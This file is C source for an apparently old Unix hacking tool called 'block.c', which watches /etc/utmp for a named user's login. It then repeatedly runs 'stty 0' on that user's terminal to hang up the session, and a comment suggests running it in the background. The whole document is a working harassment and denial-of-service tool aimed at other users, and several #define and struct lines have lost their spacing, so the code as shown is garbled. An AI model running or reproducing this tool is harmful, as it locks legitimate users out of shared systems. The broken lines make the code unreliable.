/* block.c -- prevent a user from logging in
 * by Shooting Shark
 * usage : block username [&]
 * I suggest you run this in background.
 */

#include <stdio.h>
#include <utmp.h>
#include <ctype.h>
#include <termio.h>
#include <fcntl.h>

#define W_OK2
#define SLEEP5
#define UTMP"/etc/utmp"
#define TTY_PRE "/dev/"

main(ac,av)
int ac;
char *av[];
{
int target, fp, open();
struct utmpuser;
struct termio*opts;
char buf[30], buf2[50];

if (ac != 2) {
printf("usage : %s username\n",av[0]);
exit(-1);
}


for (;;) {

if ((fp = open(UTMP,0)) == -1) {
printf("fatal error!  cannot open %s.\n",UTMP);
exit(-1);
}


while (read(fp, &user, sizeof user) > 0) {
if (isprint(user.ut_name[0])) {
if (!(strcmp(user.ut_name,av[1]))) {

printf("%s is logging in...",user.ut_name);
sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
printf("%s\n",buf);
if (access(buf,W_OK) == -1) {
printf("failed - program aborting.\n");
exit(-1);
}
else {
if ((target = open(buf,O_WRONLY)) != EOF) {
sprintf(buf2,"stty 0 > %s",buf);
system(buf2);
printf("killed.\n");
sleep(10);
}

} /* else */
} /* if strcmp */
} /* if isprint */
} /* while */
close(fp);

/*sleep(SLEEP);  */

} /* for */


}